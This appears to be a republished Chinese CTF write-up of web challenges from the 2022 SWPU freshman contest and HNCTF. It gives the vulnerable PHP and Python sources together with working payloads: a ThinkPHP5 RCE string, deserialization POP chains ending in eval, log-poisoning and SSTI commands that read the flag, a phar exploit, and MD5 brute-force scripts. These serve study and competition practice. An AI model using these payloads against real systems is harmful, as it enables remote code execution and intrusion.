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2022 SWPU新生赛&HNCTF web部分题目

<1> SWPU

(1) webdog1__start

在start.php 界面抓个包,发包

得到:F1l1l1l1l1lag.php

<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_GET['get'])){
    $get=$_GET['get'];
    if(!strstr($get," ")){
        $get = str_ireplace("flag", " ", $get);
        
        if (strlen($get)>18){
            die("This is too long.");
            }
            else{
                eval($get);
          } 
    }else {
        die("nonono"); 
    }
}

(2) ez_ez_php(revenge)

ThinkPHP V5 rce 漏洞

在网上可以找到现成的payload

Thinkphp5 RCE漏洞_Sentiment.的博客-CSDN博客_tp5 漏洞

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

替换whoami命令为我们要执行的命令即可

(3) 1z_unserialize

反序列化构造 assert(eval($_POST[1]));

cat /flag即可

(4) ez_1zpop

<?php
error_reporting(0);
class dxg
{
   function fmm()
   {
      return "nonono";
   }
}

class lt
{
   public $impo='hi';
   public $md51='weclome';
   public $md52='to NSS';
   function __construct()
   {
      $this->impo = new dxg;
   }
   function __wakeup()
   {
      $this->impo = new dxg;
      return $this->impo->fmm();
   }

   function __toString()
   {
      if (isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52)
         return $this->impo->fmm();
   }
   function __destruct()
   {
      echo $this;
   }
}

class fin
{
   public $a;
   public $url = 'https://www.ctfer.vip';
   public $title;
   function fmm()
   {
      $b = $this->a;
      $b($this->title);
   }
}

if (isset($_GET['NSS'])) {
   $Data = unserialize($_GET['NSS']);
} else {
   highlight_file(__file__);
}

exploit.php

<?php
error_reporting(0);

class lt
{
    public $impo='hi';
    public $md51='weclome';
    public $md52='to NSS';
}

class fin
{
    public $a;
    public $title;
}
$NSS = new lt();
$NSS -> impo = new fin();
$NSS -> md51 = 'QNKCDZO';
$NSS -> md52 = 's878926199a';
$NSS->impo -> a = 'assert';
$NSS->impo -> title = 'eval($_POST[1])';

echo serialize($NSS);

之后把属性改大一位,绕过__wakeup()函数

(5) numgame

查看js源码发现了NsScTf.php

<?php
error_reporting(0);
//hint: 与get相似的另一种请求协议是什么呢
include("flag.php");
class nss{
    static function ctf(){
        include("./hint2.php");
    }
}
if(isset($_GET['p'])){
    if (preg_match("/n|c/m",$_GET['p'], $matches))
        die("no");
    call_user_func($_GET['p']);
}else{
    highlight_file(__FILE__);
}

preg_match匹配到 n或者c 就die("No"),但是它是/m 多行文本 不是/i ,所以可以大小写绕过

至于call_user_func()怎么利用

我们可以传参:?p=Nss::Ctf (静态函数调用)

回显:

改Nss为Nss2 最终payload:?p=Nss2::Ctf

查看源码,得到flag

(6) Crypto 爆破MD5

贴上爆破脚本

import string
import hashlib

alist = string.printable
for i in alist:
    for j in alist:
        for k in alist:
            for l in alist:
                data = 'Boom_MD5' + i + j + k + l
                s = hashlib.md5(data.encode('utf-8')).hexdigest()
                if s[:27] == "0618ac93d4631df725bceea74d0":
                    print("Find it:", data, ":", s)
                    exit()

<2> HNCTF

[Week1]Challenge__rce

if (isset($_POST['rce'])) {
    $rce = $_POST['rce'];
    if (strlen($rce) <= 120) {
        if (is_string($rce)) {
            if (!preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]/", $rce)) {
                eval($rce);
            } else {
                echo("Are you hack me?");
            }
        } else {
            echo "I want string!";
        }
    } else {
        echo "too long!";
    }
} 

利用构造数组获取字母 然后自增构造chr函数

 $___.=[];$_=$___[3];$_++;$_++;$__=$_++;$_++;$_++;$_++;$__.=++$_.$___[2];$_=_.$__(71).$__(69).$__(84);($$_{1})($$_{2});

[WEEK2]easy_include

日志注入, include /var/log/nginx/access_log

然后往 User-Agent里写入命令即可 <?php system('ls'); ?>

[WEEK2]Canyource

<?php
highlight_file(__FILE__);
if(isset($_GET['code'])&&!preg_match('/url|show|high|na|info|dec|oct|pi|log|data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['code'])){
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);}
else
    die('nonono');}
else
    echo('please input code');

highlight_file() show_source() 都被禁了 利用 echo(readfile())来读取

payload: ?code=echo(readfile(next(array_reverse(scandir(pos(localeconv()))))));

[WEEK2] ez_ssrf

<?php
highlight_file(__FILE__);
error_reporting(0);
$data=base64_decode($_GET['data']);
$host=$_GET['host'];
$port=$_GET['port'];

$fp=fsockopen($host,intval($port),$error,$errstr,30);
if(!$fp) {
    die();
}
else {
    fwrite($fp,$data);
    while(!feof($data))
    {
        echo fgets($fp,128);
    }
    fclose($fp);
}

**fsockopen函数触发ssrf **

使用fsockopen函数实现获取用户制定url的数据(文件或者html)。这个函数会使用socket跟服务器建立tcp连接,传输原始数据。fsockopen本身就是打开一个网络连接或者Unix套接字连接。 如下:

    <?php
    $host=$_GET['url'];
    $fp = fsockopen("$host", 80, $errno, $errstr, 30);
    if (!$fp) {
    echo "$errstr ($errno)<br />\n";
    } else {
    $out = "GET / HTTP/1.1\r\n";
    $out .= "Host: $host\r\n";
    $out .= "Connection: Close\r\n\r\n";
    fwrite($fp, $out);
    while (!feof($fp)) {
    echo fgets($fp, 128);
    }
    fclose($fp);
    }
    ?>

因此构造poc.php:

<?php
$out = "GET /flag.php HTTP/1.1\r\n";
$out .= "Host: 127.0.0.1\r\n";
$out .= "Connection: Close\r\n\r\n";
echo base64_encode($out);
?>

得到data,host为127.0.0.1,port为80

传参:/index.php?host=127.0.0.1&port=80&data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=

[WEEK2] easy_unser(is_file highlight_file对于php伪协议的使用)

<?php 
    include 'f14g.php';
    error_reporting(0);

    highlight_file(__FILE__);

    class body{
    private $want,$todonothing = "i can't get you want,But you can tell me before I wake up and change my mind";

    function __wakeup(){
        $About_me = "When the object is unserialized,I will be called";
        $but = "I can CHANGE you";
        $this-> want = $but;
        echo "C1ybaby!";
        
    }
    function __destruct(){
        $About_me = "I'm the final function,when the object is destroyed,I will be called";
        echo "So,let me see if you can get what you want\n";
        if($this->todonothing === $this->want)
            die("鲍勃,别傻愣着!\n");
        if($this->want == "I can CHANGE you")
            die("You are not you....");
        if($this->want == "f14g.php" OR is_file($this->want)){
            die("You want my heart?No way!\n");
        }else{
            echo "You got it!";
            highlight_file($this->want);
            }
    }
} 

构造序列化满足 !is_file($this->want) 且 可以 highlight_file($this-want);

考点:php伪协议绕过is_file highlight_file对于php伪协议的使用

is_file判断给定文件名是否为一个正常的文件,返回值为布尔类型。is_file会认为php伪协议不是文件。但highlight_file认为伪协议可以是文件。 所以我们可以用php伪协议来绕过显示flag文件

<?php 

    class body{

    private $want= "php://filter/resource=f14g.php";
    private $todonothing = "1";
        
    } 
    $a = new body();
    echo urlencode(serialize($a));

[WEEK2]ez_SSTI

?name={{7*'7'}} 检测出存在 SSTI 无过滤

?name={{config.class.init.globals['os'].popen('ls').read() }} 发现flag

?name={{config.class.init.globals['os'].popen('cat flag').read() }}

[WEEK3]ez_phar

upload.php 上传我们构造好的phar文件

<?php

class Flag
{
    public $code="system('cat /ffflllaaaggg');";
}
$test = new Flag();

$phar = new Phar("aa.phar"); //文件名
$phar->startBuffering();
/* 设置stub,必须要以__HALT_COMPILER(); ?>结尾 */
$phar->setStub("<?php __HALT_COMPILER(); ?>");
/* 设置自定义的metadata,序列化存储,解析时会被反序列化 */
$phar->setMetaData($test);
/* 添加要压缩的文件 */
$phar->addFromString("test1.txt","test1");
//签名自动计算
$phar->stopBuffering();

那就 压缩成zip 改后缀为png绕过

执行 system('ls /'); 发现flag文件

再执行 system('cat //ffflllaaaggg'); 即可

[Week3]fun_php

这道题看着内容多,其实审计一下也就是一块一块的,静下心分区域看一看

$getUserID = @$_GET['user']; 
$getpass = (int)@$_GET['pass']; 
$getmySaid = @$_GET['mySaid']; 
$getmyHeart = @$_GET['myHeart']; 

if(is_string($getUserID))
    $user = $user + $getUserID; //u5er_D0_n0t_b3g1n_with_4_numb3r

if($user == 114514 && $getpass == $pass){
    if (!ctype_alpha($getmySaid)) 
        die();
    if (!is_numeric($getmyHeart)) 
        die();
    if(md5($getmySaid) != md5($getmyHeart)){
        die("Cheater!");
    }
    else
        $week_1 = true;
} 

要求

$user == 114514 && $getpass == $pass 则传值 user=114514 pass不传他就默认==

$getmySaid为字母 $getmyHeart为数字,并且他俩md5() == 则传值mySaid=QNKCDZO&myHeart=240610708

$data = @$_POST['data'];

if(is_array($data)){
    for($i=0;$i<count($data);$i++){

        if($data[$i]==="Probius") exit();

        $data[$i]=intval($data[$i]);
    }
    if(array_search("Probius",$data)===0)
        $week_2 = true;

    else
        die("HACK!");
} 

最初的循环作用是 遍历数组,如果遇到某一个键值为Probius 就exit()

但是只有 array_search("Probius",$data)===0 才能使 week_2为true

array_search作用:在数组中搜索键值 "red",并返回它的键名

所以我们传入data[0]=probius 绕过。

if($week_1 && $week_2){
    if(md5($data)===md5($verify))
        // ‮⁦HNCTF⁩⁦Welcome to
        if ("hn" == $_GET['hn'] &‮⁦+!!⁩⁦& "‮⁦ Flag!⁩⁦ctf" == $_GET[‮⁦LAG⁩⁦ctf]) { //HN! flag!! F
        
            if(preg_match("/php|\fl4g|\\$|'|\"/i",$want)Or is_file($want))
                die("HACK!");
       
                else{
                    echo "Fine!you win";
                    system("cat ./$want");
                 }
    }
    else
        die("HACK!");
} 

由于data是数组,所以我们传入verify也是数组即可===绕过本地调试如下:

unicode隐藏字符,我们复制下来010editor打开

所以get传入hn=hn&%E2%80%AE%E2%81%A6%4C%41%47%E2%81%A9%E2%81%A6%63%74%66=%E2%80%AE%E2%81%A6%20%46%6C%61%67%21%E2%81%A9%E2%81%A6%63%74%66

want传值fl* 通配符绕过 最终Fine!you win 查看源码得到flag

查看源码得到flag

Crypto [WEEK2]md5太残暴了

小明养成了定期修改密码的好习惯,同时,他还是一个CTF爱好者。有一天,他突发奇想,用flag格式来设置密码,为了防止忘记密码,他还把密码进行了md5加密。
为了避免被其他人看到全部密码,他还特意修改了其中部分字符为#。你能猜出他的密码吗?
plaintext = flag{#00#_P4ssw0rd_N3v3r_F0rg3t_63####}
md5 = ac7f4d52c3924925aa9c8a7a1f522451
PS: 第一个#是大写字母,第二个#是小写字母,其他是数字。

贴上脚本

import string
import hashlib
s1 = string.ascii_uppercase
s2 = string.ascii_lowercase
s3 = []
for i in range(0,10000):
    i = str(i)
    if len(i)!=4:
        s3.append('0'*(4-len(str(i)))+i)
    else:
        s3.append(i)
for i in s1:
    for j in s2:
        for k in s3:
            s = 'flag{'+i+'00'+j+'_P4ssw0rd_N3v3r_F0rg3t_63'+k+'}'
            print(s)
            if hashlib.md5(s.encode('utf-8')).hexdigest() == 'ac7f4d52c3924925aa9c8a7a1f522451':
                print("Find it: "+s)
                exit(0)
标签: php web安全

本文转载自: https://blog.csdn.net/weixin_63231007/article/details/127135455
版权归原作者 葫芦娃42 所有, 如有侵权,请联系我们删除。

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